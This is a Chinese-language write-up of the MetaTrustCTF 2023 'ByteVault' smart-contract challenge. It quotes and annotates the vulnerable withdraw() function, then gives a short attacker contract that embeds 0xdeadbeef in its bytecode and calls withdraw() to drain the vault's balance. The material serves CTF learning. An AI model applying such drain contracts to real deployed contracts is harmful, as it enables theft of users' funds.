03.ByteVault
2023-09-15 17:21:46 # 22.MetaTrustCTF2023

ByteVault

分析

1.全局观

代码量很少,只有一个withdraw()供调用

2.任务

将此合约的余额归零

1
2
3
function isSolved() public view returns(bool){
return address(this).balance == 0;
}

3.详细分析

modifier要求我们用合约进行攻击:

1
2
3
4
modifier onlyBytecode() {
require(msg.sender != tx.origin, "No high-level contracts allowed!");
_;
}

对于withdraw()的分析如下:我们需要用一个合约进行攻击,这个合约的字节码的字节长度需要是奇数,并且包含了0xdeadbeef

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
  function withdraw() external onlyBytecode {
uint256 sequence = 0xdeadbeef;
bytes memory senderCode;

address bytecaller = msg.sender;

// 那么大概意思就是要让我们用字节码创造一个合约
assembly {
let size := extcodesize(bytecaller) // 调用者的代码大小
senderCode := mload(0x40) // 空闲指针
// 修改空闲指针内容
// 修改空闲指针内容,空闲指针指向新的可用内存(将要存储的 size和我们的合约代码 之后的位置)
mstore(0x40, add(senderCode, and(add(add(size, 0x20), 0x1f), not(0x1f))))
// 在内存中写入size和实际的合约代码内容
// 操作之后的memory: | size | 实际的代码内容 | 空闲指针指向位置 |
mstore(senderCode, size)
extcodecopy(bytecaller, add(senderCode, 0x20), 0, size)
}

// 攻击合约的字节长度必须是奇数
require(senderCode.length % 2 == 1, "Bytecode length must be even!");

// 因此我们的字节码需要包含0xdeadbeef
for(uint256 i = 0; i < senderCode.length - 3; i++) {
// 第i个字节是0x000000de[de]
if(senderCode[i] == byte(uint8(sequence >> 24))
// 第i+1个字节是0x0000dead[ad]
&& senderCode[i+1] == byte(uint8((sequence >> 16) & 0xFF))
// 第i+2个字节是0x00deadbe[be]
&& senderCode[i+2] == byte(uint8((sequence >> 8) & 0xFF))
// 第i+3个字节是0xdeadbeef[ef]
&& senderCode[i+3] == byte(uint8(sequence & 0xFF))) {
msg.sender.transfer(address(this).balance);
return;
}
}
revert("Sequence not found!");
}

我的解题思路:字节码长度是奇数比较简单,不断尝试在合约中添加没用的代码,试出来奇数字节长度的合约;需要包含0xdeadbeef则直接将0xdeadbeef写成constant,硬编码进bytecode即可。

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
contract attacker{
bytes constant aaa = "0xdeadbeef";
bytes constant bbb = hex"deadbeef";

function attack(BytecodeVault addr) public {
bytes memory xx = aaa;
bytes memory s = bbb;

addr.withdraw();
}

function() external payable{}
}